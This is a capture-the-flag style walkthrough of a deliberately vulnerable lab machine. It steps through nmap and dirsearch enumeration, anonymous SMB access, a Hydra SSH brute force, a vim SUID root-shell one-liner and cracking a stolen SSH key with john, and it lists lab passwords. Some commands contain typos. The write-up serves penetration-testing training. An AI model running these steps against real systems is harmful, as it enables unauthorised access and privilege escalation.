BASIC PENTESTING

First of all, we have to see if the communication between attacker machine and compromised machine are in the same IP Address with this command which is:

• ping -c3 10.10.239.59

And we can observe in the picture below the communication between these are well

Now, let’s go to execute nmap toolkit and we,ll be able to start the enumeration of the ports as you can see in the picture below with this command:

• sudo nmap -n -Pn 10.10.239.59 -p- - -min-rate 40000 -vvv -sS

Now, let’s go to execute nmap to start the enumeration of the ports as you can see in the picture below with this command:

• sudo nmap -n -Pn 10.10.239.59 -p 80,139,22,8080,445,8009 -sV -vvv

In addition, let’s go to execute and we can discover ports and OS(OPERATIVE SYSTEM) as you can see in the picture below.

But now we’re going to use dirsearch toolkit to discover the hide directories with this command that you can observe at the bottom of the picture which is:

• dirsearch -u 10.10.239.59

And now, we can observe in the picture below the path which is /development/.

Just after, we can see a login panel which you can try writing username and password but as we can’t username and password we can intent to do the other way.

Right now, we have to see if the files has an important information such as password, username or whatever it can have.

• dev.txt
• j.txt

In the first file name, you can see what there is in the picture below.

In the second file name you can see what there’s in the picture below.

In addition, we should try attack to smb service and for it, we’ve to run this command to identify anything information about this service with this command:

smbclient -L //10.10239.59

Now, we have to see more information such as the Sharename Anonymous with this command that we can use it with this command: smbclient -N //10.10.239.59/Anonymous
And now, we’re going to execute ls command and we can see staff.txt.

Now we’re going to use the command which is: get staff.txt

In addition, we’ll have to execute this both commands which are:

• ls(to listing the staff.txt text)
• cat staff.tx(to discover the inner of staff file where we can find out an username whose name is Jan.

As we know an username let’s go to attack with hydra toolkit to get the password and we’ll have run this command:

• hydra -L jan -P /usr/share/wordlist/rockyou.txt ssh://10.10.239.59 -t 64

The work has been done thus, we have caught the username password which is: armando you can see in the picture at the top of the picture.

Now, let’s go to discover an file because we,d like to become an user root and we’ll write the command:

• find / -perm /4000 2>/dev/null

We’ve obtained the file which is located in path /usr/bin/vim.basic. For it, we should be able to execute this script to perform the privilege escalation and we will become root user as you know in the picture below with this command:

• vim -c ‘:py import os; os.exec (“/bin/sh”, “sh”, “-pc”, “reset; exec sh -p”)’

In addition, we can be able to get the root user the other same with this next steps that you can see in the picture below:

• cd /home/kay/ (to pivoting in comprometed machine to path of  kay)
• ls -la (to list the files and hide files)
• cd .ssh(to enter inner .ssh which if we can obtain, we'll be able to become root user)

Now, let's go to look the id_rsa to become root user with both commands ls and cat id_rsa you can see in both pictures below.

Moreover, we have to use ssh2john toolkit to convert the format and with password cracking get it.

For it, we've to run this command which you can see at the bottom of the picture:

• ssh2john id_rsa> hash.txt

Also, we have to see in the picture below as we´ve listed to observe filename if it has been corrected execute and create.

Just after, we must run john toolkit what to us will give the password with this command which you can see in the picture below: 

• john hash.txt - -wordlist=/usr/share/wordlist/rockyou.txt

Yes the process has been successful because we've got the password which is besswax as you can see at the top of the picture.

But now, when we introduce the process to enter into the compromised machine we can see a mistake, but it should have been useful with this command:

• ssh kay@10.10.239.59 -i id_rsa

Now if we want to constrain, we should change the perms with this command which is:

• chmod 600 id_rsa

Now, we can observe in the picture below the ssh loging has been successful.

To sum up, this compromised machine we have to list the username password with the command cat as you can in the picture below.

If the process has been successful, we shoul be able to that we are root user with both commands which are:

• sudo -l (to see the root perms)
• sudo su(it'll give root perms)
• whoami(to know the people who we are)

Thank you for reading this article

I hope you like it and something new

Good Hack